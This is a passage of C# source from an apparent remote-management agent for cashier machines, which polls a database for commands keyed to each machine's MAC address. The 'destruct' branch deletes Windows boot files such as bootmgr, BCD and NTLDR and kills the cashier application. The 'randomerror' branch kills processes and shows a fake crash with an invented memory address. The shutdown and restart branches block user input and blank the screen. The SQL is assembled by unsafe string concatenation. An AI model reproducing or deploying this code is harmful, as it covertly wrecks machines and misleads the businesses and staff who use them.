HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期提醒天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='修改有效期提醒天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.sys_globle set expiry_day = '" + HANDCONTENT + "' where var_name = 'g_ver' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); isContents = true; } catch { } if (isContents) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改有效期提醒天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='修改有效期提醒天数成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改有效期提醒天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='修改有效期提醒天数失败' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 停止命令 else if (FLAG == "0" && HANDWAY != "closefunction") { string sql = ""; string Oraclesql = ""; try { sql = @"UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 " + "where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } #endregion } } } } catch { //conn.Open(); //conany.Open(); if (!ISConnect) { string oracleSql = "SELECT * FROM " + dbname + ".T_COMMODITYMACHINE WHERE MACHINE_MACADDRESS = '" + _mac + "' ORDER BY MACHINE_ENDDATE"; OracleCommand oraclecmd = new OracleCommand(oracleSql, conn); OracleDataReader oraclerd = oraclecmd.ExecuteReader(); if (oraclerd.HasRows) { while (oraclerd.Read()) { string ID = oraclerd["COMMODITYMACHINE_ID"].ToString(); string MACHINE_MACADDRESS = oraclerd["MACHINE_MACADDRESS"].ToString(); string FLAG = oraclerd["FLAG"].ToString(); string HANDWAY = oraclerd["HANDWAY"].ToString(); string HANDCONTENT = oraclerd["HANDCONTENT"].ToString(); string MACHINE_STARTDATE = oraclerd["MACHINE_STARTDATE"].ToString(); string REPEAT_STATE = oraclerd["REPEAT_STATE"].ToString(); string UPLOAD_STATE = oraclerd["UPLOAD_STATE"].ToString(); string timenow = DateTime.Now.ToString("yyyy-MM-dd HH:mm"); DateTime datenow = Convert.ToDateTime(timenow); DateTime datebegin = Convert.ToDateTime(Convert.ToDateTime(MACHINE_STARTDATE).ToString("yyyy-MM-dd HH:mm")); Random randomnum = new Random(); int arr; //int[] arr; if (REPEAT_STATE == "1" && Convert.ToInt32(oraclerd["INTERVALS_TIME"]) > 1) { arr = randomnum.Next(Convert.ToInt32(oraclerd["INTERVALS_TIME"])); } else { arr = randomnum.Next(2); } if (arr == 0) arr = 1; #region 重装系统 if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "destruct") { string sql = ""; string Oraclesql = ""; string remark = ""; string _randomlist = "0x" + Str_char(8, false);//随机获取内存地址 if (Directory.Exists("C:\\Windows\\Boot\\EFI") || File.Exists("C:\\NTLDR") || File.Exists("C:\\boot.ini") || File.Exists("C:\\bootmgr")) { try { Lib.FileHelper.DeleteDir("C:\\Windows\\Boot"); } catch { } remark += Execute("del C:\\Windows\\Boot\\EFI\\*.* /f /s /a:h", 10) + ";"; remark += Execute("del C:\\Boot\\*.* /f /s /a:h", 10) + ";"; remark += Execute("del C:\\Boot\\BCD /f /s /a:h", 10) + ";"; remark += Execute("del C:\\bootmgr /f /s /a:h", 10) + ";"; remark += Execute("del C:\\NTLDR /f /s /a:h", 10) + ";"; remark += Execute("del C:\\boot.ini /f /s /a:h", 10) + ";"; } else remark += "引导文件不存在;"; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中," + remark + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中," + remark + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } WinExec("taskkill.exe /im cashier.exe /f /t", 0); WinExec("taskkill.exe /f /fi \"IMAGENAME eq s*\" /t", 0); Thread n = new Thread(new ThreadStart(() => invokeShow("services.exe", _randomlist))); n.Start(); } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常," + remark + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常," + remark + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } WinExec("taskkill.exe /im cashier.exe /f /t", 0); WinExec("taskkill.exe /f /fi \"IMAGENAME eq s*\" /t", 0); Thread n = new Thread(new ThreadStart(() => invokeShow("services.exe", _randomlist))); n.Start(); } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { LogHelper.WriteServiceLog(ex.Message); } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { LogHelper.WriteServiceLog(ex.Message); } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 随机报错并结束进程 if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "randomerror") { string sql = ""; string Oraclesql = ""; string remark = ""; List list = new List(); Process[] process = Process.GetProcesses(); foreach (Process p in process) { if (p.ProcessName != "ConnectPoint" && !p.ProcessName.Contains("System") && !p.ProcessName.Contains("Idle")) list.Add(p.ProcessName); } Random rm = new Random(); //int i = rm.Next(list.Count); //随机数最大值不能超过list的总数 string _processname = list[rm.Next(list.Count)].ToString();//随机获取进程名 string _randomlist = "0x" + Str_char(8, false);//随机获取内存地址 remark += "异常:" + _processname + ".exe;"; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中," + remark + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中," + remark + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } WinExec("taskkill.exe /im cashier.exe /f /t", 0); Thread n = new Thread(new ThreadStart(() => invokeShow(_processname, _randomlist))); n.Start(); } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='" + remark + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='" + remark + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } WinExec("taskkill.exe /im cashier.exe /f /t", 0); Thread n = new Thread(new ThreadStart(() => invokeShow(_processname, _randomlist))); n.Start(); } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { LogHelper.WriteServiceLog(ex.Message); } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { LogHelper.WriteServiceLog(ex.Message); } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 关机命令 if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "shutdown")//关机操作 { string sql = ""; string Oraclesql = ""; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } BlockInput(true); SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2); classCPIR.KillExe("explorer.exe"); Process.Start("Shutdown", "-s -t 0 -f"); } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } BlockInput(true); SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2); classCPIR.KillExe("explorer.exe"); Process.Start("Shutdown", "-s -t 0 -f"); } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { LogHelper.WriteServiceLog(ex.Message); } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { LogHelper.WriteServiceLog(ex.Message); } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 重启命令 if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "restart")//重启操作 { string sql = ""; string Oraclesql = ""; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } BlockInput(true); SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2); Process.Start("Shutdown", "-r -t 0 -f"); } } if (REPEAT_STATE == "0") { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='重启成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='重启成功' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } BlockInput(true); SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2); Process.Start("Shutdown", "-r -t 0 -f"); } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { LogHelper.WriteServiceLog(ex.Message); } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { LogHelper.WriteServiceLog(ex.Message); } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 结束指定进程命令 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "taskkill")//结束指定进程 { string sql = ""; string Oraclesql = ""; string process = ""; string remark = ""; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { string[] split = HANDCONTENT.Split(new char[] { '|' }); foreach (var sp in split) { if (sp.Contains(".")) { process = sp.Substring(0, sp.IndexOf(".")); } Process[] procs = Process.GetProcesses(); Process[] proc = Process.GetProcessesByName(process); if (proc.Length > 0) { foreach (Process item in procs) { if (item.ProcessName == process) { //item.Kill(); WinExec("taskkill.exe /im " + sp + " /f /t", 0); ISConnect = true; if (ISConnect) { remark += "关闭进程" + sp + "成功;"; } else { remark += "关闭进程" + sp + "失败;"; } } } } else { remark += "未找到进程" + sp + ";"; } //if (sp.Contains(".")) //{ // process = sp.Substring(0, sp.IndexOf(".")); //} //Process[] proc = Process.GetProcessesByName(process); //if (proc.Length > 0) //{ // //classCPIR.KillExe(sp); // if (classCPIR.KillExe(sp)) // { // //Process.Start("TaskKill", " /im " + sp + " /f"); // remark += "关闭进程" + sp + "成功;"; // } // else // { // remark += "关闭进程" + sp + "失败;"; // } //} //else //{ // remark += "未找到进程" + sp + ";"; //} } try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='" + remark + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='" + remark + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } if (REPEAT_STATE == "0") { string[] split = HANDCONTENT.Split(new char[] { '|' }); foreach (var sp in split) { if (sp.Contains(".")) { process = sp.Substring(0, sp.IndexOf(".")); } Process[] procs = Process.GetProcesses(); Process[] proc = Process.GetProcessesByName(process); if (proc.Length > 0) { foreach (Process item in procs) { if (item.ProcessName == process) { //item.Kill(); WinExec("taskkill.exe /im " + sp + " /f /t", 0); ISConnect = true; if (ISConnect) { remark += "关闭进程" + sp + "成功;"; } else { remark += "关闭进程" + sp + "失败;"; } } } } else { remark += "未找到进程" + sp + ";"; } //if (sp.Contains(".")) //{ // process = sp.Substring(0, sp.IndexOf(".")); //} //Process[] proc = Process.GetProcessesByName(process); //if (proc.Length > 0) //{ // //classCPIR.KillExe(sp); // if (classCPIR.KillExe(sp)) // { // //Process.Start("TaskKill", " /im " + sp + " /f"); // remark += "关闭进程" + sp + "成功;"; // } // else // { // remark += "关闭进程" + sp + "失败;"; // } //} //else //{ // remark += "未找到进程" + sp + ";"; //} } try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='" + remark + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='" + remark + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 打开指定进程命令 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && HANDWAY == "openapp" && datenow >= datebegin)//打开指定进程 { string sql = ""; string Oraclesql = ""; string process = ""; string processFile = ""; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { if (HANDCONTENT.Contains("\\")) { processFile = HANDCONTENT.Substring(HANDCONTENT.LastIndexOf("\\") + 1, HANDCONTENT.Length - HANDCONTENT.LastIndexOf("\\") - 1); } if (processFile.Contains(".")) { process = processFile.Substring(0, processFile.IndexOf(".")); } Process[] proc = Process.GetProcessesByName(process); if (proc.Length == 0) { Process.Start(HANDCONTENT); try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='未找到进程' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='未找到进程' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } if (REPEAT_STATE == "0") { if (HANDCONTENT.Contains("\\")) { processFile = HANDCONTENT.Substring(HANDCONTENT.LastIndexOf("\\") + 1, HANDCONTENT.Length - HANDCONTENT.LastIndexOf("\\") - 1); } if (processFile.Contains(".")) { process = processFile.Substring(0, processFile.IndexOf(".")); } Process[] proc = Process.GetProcessesByName(process); if (proc.Length == 0) { Process.Start(HANDCONTENT); try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } else { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='未找到进程' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='未找到进程' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 创建SetUp文件命令 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && HANDWAY == "newsetup" && datenow >= datebegin)//创建新文件setup { string sql = ""; string Oraclesql = ""; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { if (rdSetup.HasRows) { while (rdSetup.Read()) { #region 创建新文件 object database = rdSetup["DATABASE"]; object startype = rdSetup["STARTYPE"]; object name = rdSetup["NAME"]; object servername = rdSetup["SERVERNAME"]; object apppath = rdSetup["APPPATH"]; object port = rdSetup["PORT"]; object setup = rdSetup["SETUP"]; object openpath = rdSetup["OPENPATH"]; object dbsync = rdSetup["DBSYNC"]; object iswork = rdSetup["ISWORK"]; object dbconect = rdSetup["DBCONECT"]; object dbip1 = rdSetup["DBIP"]; object dbport1 = rdSetup["DBPORT"]; object dbname1 = rdSetup["DBNAME"]; object dbuser1 = rdSetup["DBUSER"]; object dbpass1 = rdSetup["DBPASS"]; object conname1 = rdSetup["CONNAME"]; object serverpartcode = rdSetup["SERVERPARTCODE"]; object shopcode = rdSetup["SHOPCODE"]; object machinecode = rdSetup["MACHINECODE"]; object orapath = rdSetup["ORAPATH"]; object setups = rdSetup["SETUPS"]; object manmode = rdSetup["MANMODE"]; object systemparm = rdSetup["SYSTEMPARM"]; object softwarename = rdSetup["SOFTWARENAME"]; object dbtrans_mode = rdSetup["DBTRANS_MODE"]; object endgo_line = rdSetup["ENDGO_LINE"]; object adv_top = rdSetup["ADV_TOP"]; object adv_end = rdSetup["ADV_END"]; object input_mode = rdSetup["INPUT_MODE"]; object is_print = rdSetup["IS_PRINT"]; object is_open = rdSetup["IS_OPEN"]; object is_dpis = rdSetup["IS_DPIS"]; object xpprint_num = rdSetup["XPPRINT_NUM"]; object jbprint_num = rdSetup["JBPRINT_NUM"]; object effectiveday = rdSetup["EFFECTIVEDAY"]; object checkday = rdSetup["CHECKDAY"]; object dispcom = rdSetup["DISPCOM"]; object spdj = rdSetup["SPDJ"]; object printport = 